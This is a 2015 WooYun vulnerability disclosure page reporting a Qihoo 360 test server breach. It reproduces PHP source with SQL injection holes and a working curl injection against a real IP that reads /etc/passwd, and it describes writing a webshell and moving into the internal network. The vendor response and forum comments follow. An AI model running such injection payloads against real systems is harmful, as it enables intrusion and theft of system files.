当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122949

漏洞标题:神器而已之奇虎360某站GETSHELL内网漫游到webscan了

相关厂商:奇虎360

漏洞作者: 举起手来

提交时间:2015-06-26 16:47

修复时间:2015-08-10 18:10

公开时间:2015-08-10 18:10

漏洞类型:成功的入侵事件

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-26: 细节已通知厂商并且等待厂商处理中
2015-06-26: 厂商已经确认,细节仅向厂商公开
2015-07-06: 细节向核心白帽子及相关领域专家公开
2015-07-16: 细节向普通白帽子公开
2015-07-26: 细节向实习白帽子公开
2015-08-10: 细节向公众公开

简要描述:

一个小问题导致的,这次不去吃饭了。漫游完再吃。妈蛋!

详细说明:

首先是这样一个问题:
http://220.181.150.107/web.tgz
一看就是源码啊,下下来审计一下;我猜有注入:
➜ web cat web_function.php

<?php
$dir = dirname(__FILE__).'/';
require_once($dir."../db/db_function.php");
function verifyed($short_code, $token)
{
$state = NULL;
$pdo = connect2db();
if($pdo == NULL )
return 1;
$sql = sprintf("select * from receiver_reference_count where rev_jid='%s' and short_code='%s'", $token, $short_code);
//echo "sql:".$sql."\n";
$result = $pdo->query($sql);
if($result === NULL )
return 2;
foreach($result as $row)
{
$state = $row['state'];
}
//echo " state: ".$state;
if($state === NULL || $state === '' )
return 3;
else if($state == '0')
return 4;
return 0;
}
function get_nickname_by_short_code($short_code)
{
$jid = NULL;
$data = NULL;
$nickname = '';
$pdo = connect2db();
if($pdo == NULL )
return 1;
$sql = sprintf("select jid from short_hash_jid where short_hash = '%s'", $short_code);
//echo "sql:".$sql."\n";
$result = $pdo->query($sql);
if($result === NULL )
return 2;
foreach($result as $row)
{
$jid = $row['jid'];
}
//echo " state: ".$state;
if($jid === NULL || $jid === '' )
return 3;
$result = '';
$sql = sprintf("select name from ofUser where username='%s'", $jid);
//echo "sql:".$sql."\n";
$result = $pdo->query($sql);
if($result === NULL )
return 4;
foreach($result as $row)
{
$nickname = $row['name'];
}
//echo "name: ".$nickname.PHP_EOL;
$data = array('jid'=>$jid, 'nickname'=>$nickname);
return $data;
}
function get_play_time_by_short_code( $short_code )
{
$time = 5;
$pdo = connect2db();
if($pdo == NULL )
return $time;
$sql = sprintf("select play_time from short_hash_jid where short_hash='%s'", $short_code);
//echo "sql:".$sql."\n";
$result = $pdo->query($sql);
if($result === NULL )
return $time;
foreach($result as $row)
{
$time = $row['play_time'];
//echo "time:".$time.PHP_EOL;
}
if($time === NULL || $time === '' || $time === '0')
$time = 5;
return $time;
}
//echo verifyed('bXhRdzQWj1JYDmos',"13438299142" );
/*
$data = get_nickname_by_short_code("1dhg05myYabJI5CO");
if( !is_int($data))
{
print_r($data);
}else{
echo $data.PHP_EOL;
}*/
//echo get_play_time_by_short_code("QgHUkVoFE7mhSD9P");
?>


一看就是注入,但是按逻辑走着,入口在get.php

<?php
$dir = dirname(__FILE__).'/';
require_once($dir."../libs/util.php");
require_once("gen_html.php");
require_once("web_function.php");
if (isset($_COOKIE["token"]))
{
$token = $_COOKIE["token"];
}
//print_r($_COOKIE);
$query_str = isset($_SERVER['QUERY_STRING']) ? getParams($_SERVER['QUERY_STRING']) : '';
//echo "query_str: ".$query_str."<br>";
parse_str($query_str, $tmpArr);
//print_r($tmpArr);
if(isset($tmpArr['s']))
{
$short_code = $tmpArr['s'];
}
//echo "short_code: ".$short_code."<br>";
//print_r($_POST);
//////////////////////////////////////////////////////////////
//for Jump the page
$mobile = $_POST['mobile'];
$post_code = $_POST['code'];
if ($mobile != '')
{
// echo "short_code=".$post_code."mobile=".$mobile;
$ret = verifyed($post_code, $mobile);
// echo "ret == ".$ret;
if ($ret == 0)
{
setcookie("token", $mobile, time()+3600, "/", null);
response_picture_html($post_code, $mobile, $dir);
exit();
}
if ($ret == 4)
{
setcookie("token", $mobile, time()+3600, "/", null);
response_ad_html($dir, $post_code);
exit();
}
response_verify_html($post_code, $dir);
exit();
}
//////////////////////////////////////////////////////////////
//print_r($_COOKIE);
$ret = verifyed($short_code, $token);
if ($ret == 0 )
{
setcookie("token", $token, time()+3600, "/", null);
response_picture_html($short_code, $token, $dir);
exit();
}
if($ret == 4)
{
response_ad_html($dir, $short_code);
exit();
}
response_verify_html($short_code, $dir);
exit();
?>


配合这个文件

➜  web  cat gen_html.php 
<?php
$dir = dirname(__FILE__).'/';
require_once("../libs/SmartyTemplate.php");
require_once("../libs/util.php");
require_once("web_function.php");
function response_verify_html($code, $dir)
{
$tpl = 'template/verify.html.tpl';
$objSmarty = SmartyTemplate::getInstance();
$file_tpl = $dir.$tpl;
$objSmarty->assign('short_code',$code);
$url = "http://220.181.150.107/".$code.".htl";
$objSmarty->assign('thumb_src',$url);
@header('Conten-Type: text/html');
//@header('Cache-Control: no-cache, no-store, max-age=0');
@header('Cache-Control: no-cache, no-store');
@header('Pragma: no-cache');
@header('Expires: -1');
returnData(RESPONSE_OK, 'OK', $objSmarty->fetch($file_tpl));
}
function response_picture_html($code, $token, $dir)
{
$tpl = 'template/picture.html.tpl';
$finish_url = "http://220.181.150.107/".$code;
$counter = get_play_time_by_short_code($code);
$objSmarty = SmartyTemplate::getInstance();
$file_tpl = $dir.$tpl;
$url = "http://220.181.150.107/".$code.".htl?jid=".$token."&type=normal";
$objSmarty->assign('img_url',$url);
$objSmarty->assign('counter',$counter);
$objSmarty->assign('finish_url',$finish_url);
@header('Conten-Type: text/html');
//@header('Cache-Control: no-cache, no-store, max-age=0');
@header('Cache-Control: no-cache, no-store');
@header('Pragma: no-cache');
@header('Expires: -1');
//writeLog($file_tpl." why22222222222222", __FILE__, __LINE__, DOWNLOAD_RUN_LOG);
returnData(RESPONSE_OK, 'OK', $objSmarty->fetch($file_tpl));
}
function response_ad_html($dir, $short_code)
{
$tpl = 'template/ad.html.tpl';
$nickname = '';
$jid = '';

$data = get_nickname_by_short_code($short_code);
if( !is_int($data) )
{
$jid = $data['jid'];
$nickname = $data['nickname'];
//print_r($data);
}
$objSmarty = SmartyTemplate::getInstance();
//echo "nickname: ".$nickname." jid: ".$jid."<br>";
$file_tpl = $dir.$tpl;
$objSmarty->assign('nickname',$nickname);
$objSmarty->assign('jid',$jid);
@header('Conten-Type: text/html');
//@header('Cache-Control: no-cache, no-store, max-age=0');
@header('Cache-Control: no-cache, no-store');
@header('Pragma: no-cache');
@header('Expires: -1');
returnData(RESPONSE_OK, 'OK', $objSmarty->fetch($file_tpl));
}
?>


最后得到这样一个注入点;

curl http://220.181.150.107/web/get.php -d "mobile=13438299142' or 1=2 union select 2222222222222,1111111,0 limit 1 -- ;&code=1'  union select load_file('/etc/passwd') -- ;"


接下来,sql注入写文件,拿shell

hosts.png


内网漫游之偶遇webscan.360.cn

3689ED9B-89B5-419B-A184-3A83D7D6EA57.png


A63F1E3E-74A9-4738-90FF-FF52557F8324.png

漏洞证明:

就这样吧,点到为止,shell已删。

修复方案:

然并卵!

版权声明:转载请注明来源 举起手来@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-06-26 18:09

厂商回复:

感谢您的反馈,这是台近期准备下线的测试服务器,目前我们已做下线处理。

最新状态:

2015-06-26:确认测试文件存在SQL注入漏洞,成功利用后可以探测所在IDC机房的部分机器,再次对白帽子表示感谢!


漏洞评价:

评论

  1. 2015-06-26 16:49 | f4ck ( 实习白帽子 | Rank:42 漏洞数:7 | 有些人很牛B,一个漏洞能刷成N个。)

    呵呵,360

  2. 2015-06-26 16:49 | boooooom 认证白帽子 ( 普通白帽子 | Rank:467 漏洞数:50 | 我有一个好想法!)

    呵呵,360

  3. 2015-06-26 16:49 | 啊L川 ( 普通白帽子 | Rank:195 漏洞数:39 | 菜鸟 ,菜渣, 菜呀!)

    呵呵,360

  4. 2015-06-26 16:49 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    我了擦!!!

  5. 2015-06-26 16:50 | 淡漠天空 认证白帽子 ( 实习白帽子 | Rank:1113 漏洞数:142 | M:出售GOV STATE NSA CIA NASA DHS Symant...)

    呵呵,360

  6. 2015-06-26 16:51 | 天地不仁 以万物为刍狗 ( 普通白帽子 | Rank:977 漏洞数:264 | 天地本不仁 万物为刍狗)

    低 5分 此问题已由其他渠道获知 感谢您的提交

  7. 2015-06-26 16:51 | null_z ( 普通白帽子 | Rank:251 漏洞数:30 )

    56rank拿好

  8. 2015-06-26 16:51 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友!)

    我了擦!!!

  9. 2015-06-26 16:51 | kobin97 认证白帽子 ( 核心白帽子 | Rank:1754 漏洞数:190 | 关注网络安全。。)

    呵呵,360

  10. 2015-06-26 16:54 | Ghost丶与狼共舞 ( 实习白帽子 | Rank:69 漏洞数:20 | 游走在天堂与地狱的幽灵丶在黯淡的世界里谱...)

    呵呵,360

  11. 2015-06-26 16:54 | 小不点 ( 普通白帽子 | Rank:751 漏洞数:78 | 生命不息,刷洞不止.....)

    应该不会把,上次一个弱口令还给了7呢

  12. 2015-06-26 16:55 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:398 | 某安全公司招聘系统运维、渗透测试、安全运...)

    围观

  13. 2015-06-26 16:55 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    呵呵,360

  14. 2015-06-26 16:57 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    呵呵,360

  15. 2015-06-26 17:00 | 我是壮丁 认证白帽子 ( 路人 | Rank:10 漏洞数:1 | 专业打酱油)

    呵呵,360

  16. 2015-06-26 17:00 | Jumbo ( 普通白帽子 | Rank:111 漏洞数:29 | 猫 - http://www.chinabaiker.com)

    ................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

  17. 2015-06-26 17:01 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友!)

    着漏洞发SRC起码3W

  18. 2015-06-26 17:04 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远,还需要厂商和白帽...)

    666666

  19. 2015-06-26 17:04 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    求神器!

  20. 2015-06-26 17:08 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    叼叼

  21. 2015-06-26 17:09 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    360 啪啪!

  22. 2015-06-26 17:10 | 动后河 ( 实习白帽子 | Rank:51 漏洞数:13 | ☭)

    关注

  23. 2015-06-26 17:10 | Junkman ( 路人 | Rank:4 漏洞数:3 | 菜鸟一枚,求成长。)

    360个Rank值,少侠请收好。

  24. 2015-06-26 17:10 | he1renyagao ( 普通白帽子 | Rank:225 漏洞数:29 | 是金子总会发光,在还未发光之前,先打磨打...)

    前排买瓜子

  25. 2015-06-26 17:13 | qdq ( 路人 | Rank:2 漏洞数:1 | 有关部门)

    这漏洞提交到补天不得拿2W块钱?

  26. 2015-06-26 17:15 | ( 普通白帽子 | Rank:276 漏洞数:69 | ❤)

    mark

  27. 2015-06-26 17:18 | wy007 ( 实习白帽子 | Rank:95 漏洞数:10 | 其实我是一名卧底...)

    坐等公开!

  28. 2015-06-26 17:23 | 夜鸥 ( 路人 | Rank:2 漏洞数:1 | 我所知道的,和你差不多,我所感受到的,和...)

    360个Rank必须有

  29. 2015-06-26 17:26 | chopper ( 普通白帽子 | Rank:144 漏洞数:29 | 菜鸟求学,多多关照~)

    赶紧0day都存起来,然后求共享

  30. 2015-06-26 17:39 | 牛肉包子 ( 普通白帽子 | Rank:254 漏洞数:64 )

    23333

  31. 2015-06-26 17:44 | 肉肉 认证白帽子 ( 普通白帽子 | Rank:112 漏洞数:10 | 肉肉在长亭科技,肉肉在长亭科技,肉肉在长...)

    我就看看

  32. 2015-06-26 17:48 | mickey ( 路人 | 还没有发布任何漏洞 | 此号多人用,发表任何信息不代表本人观点)

    表示并非搞定了webscan

  33. 2015-06-26 17:49 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    楼主的名字亮了

  34. 2015-06-26 17:50 | Razor2012 ( 路人 | Rank:12 漏洞数:3 | 不会渗透的自动化测试工程师不是好厨师)

    5rank 少侠拿好!

  35. 2015-06-26 18:18 | 心伤的胖子 ( 普通白帽子 | Rank:308 漏洞数:29 | 因为心伤,所以胖子。)

    不知道在补天的话是不是标题都看不到?

  36. 2015-06-26 18:29 | 90Snake ( 普通白帽子 | Rank:109 漏洞数:42 | 最大的漏洞就是人)

    奇虎360 举起手来

  37. 2015-06-26 19:05 | Holiday0 ( 路人 | Rank:4 漏洞数:8 | Green hand.)

    标题党,这也叫漫游内网?

  38. 2015-06-26 19:52 | Jinone ( 普通白帽子 | Rank:128 漏洞数:28 | 安全盒子招人ing 有意请私信)

    40rank到手 洞主爽了

  39. 2015-06-26 23:02 | black4yl ( 路人 | Rank:2 漏洞数:1 | WoHoo !)

    呵呵,360! 部分!

  40. 2015-06-26 23:09 | V-King ( 实习白帽子 | Rank:31 漏洞数:7 | 我是静静)

    mark

  41. 2015-06-26 23:13 | Coffee ( 普通白帽子 | Rank:144 漏洞数:15 | Corie, a student of RDFZ.)

    漫游360了~威武!

  42. 2015-06-27 01:37 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    nb!

  43. 2015-06-27 10:10 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    一说漏洞就说要下线的服务器 呵呵

  44. 2015-06-27 23:19 | 小海 ( 路人 | Rank:0 漏洞数:2 | 疯狂闯天下)

    @举起手来 兄弟有点刚啊,,再吃完饭就要下线了

  45. 2015-06-29 12:12 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    2015-06-26:确认测试文件存在SQL注入漏洞,成功利用后可以探测所在IDC机房的部分机器,再次对白帽子表示感谢! 给力哦

  46. 2015-07-08 12:06 | 残废 ( 普通白帽子 | Rank:179 漏洞数:40 | 我是残废,啦啦啦啦)

    呵呵,360!

  47. 2015-07-08 12:08 | Blackeagle ( 实习白帽子 | Rank:62 漏洞数:10 | 向WooYun致敬)

    【说个事实】360的响应时间、处理时间、以及rank发放都不错啊。

  48. 2015-07-08 12:36 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    这个是有点标题党了,看不到漫游是什么情况?

  49. 2015-07-08 13:08 | darker ( 路人 | Rank:25 漏洞数:26 | = =)

    @phith0n 哈哈~

  50. 2015-07-08 14:58 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @phith0n 哈别太在意

  51. 2015-07-12 03:08 | black hook ( 路人 | Rank:28 漏洞数:8 | 新人、)

    标题党太严重了,为啥不处理?看来乌云眼里也容不下竞业公司哈哈

  52. 2015-07-12 11:03 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    少侠 路径怎么得到的

  53. 2015-07-16 18:19 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    ...

  54. 2015-07-16 19:09 | 黑暗游侠 ( 普通白帽子 | Rank:1780 漏洞数:268 | 123)

    我好久之前发的评论没了,我发的是神器就是curl,估计泄露信息被删了。。

  55. 2015-07-31 18:37 | 爱梅小礼 ( 实习白帽子 | Rank:93 漏洞数:16 | 我怀念的是无话不说)

    只是一个sql注入而已,找不到亮点,怎么还就打雷了?

  56. 2015-08-10 18:40 | Busliv ( 普通白帽子 | Rank:146 漏洞数:16 | to be,and to be)

    大概猜到这神器怎么写的了,

  57. 2015-08-10 20:24 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势,学思路。)

    举起手来。这辈子可能就一次这种机会吧

  58. 2015-08-11 09:07 | 破晓_Vampire ( 路人 | Rank:4 漏洞数:1 | Communication technology)

    呵呵 360

  59. 2015-08-11 10:48 | 路人毛 ( 路人 | Rank:23 漏洞数:10 | 昨晚做梦,挖到了电信都漏洞,被电信起诉了...)

    我也去360碰运气去了

  60. 2015-08-13 22:08 | 风炫 ( 路人 | Rank:2 漏洞数:5 | 菊花残,满地伤)

    打脸

  61. 2015-08-15 20:52 | Lonely ( 实习白帽子 | Rank:72 漏洞数:27 | 人生如梦,始终都游不过当局者迷的悲哀。)

    感谢您的反馈,这是台近期准备下线的测试服务器,目前我们已做下线处理。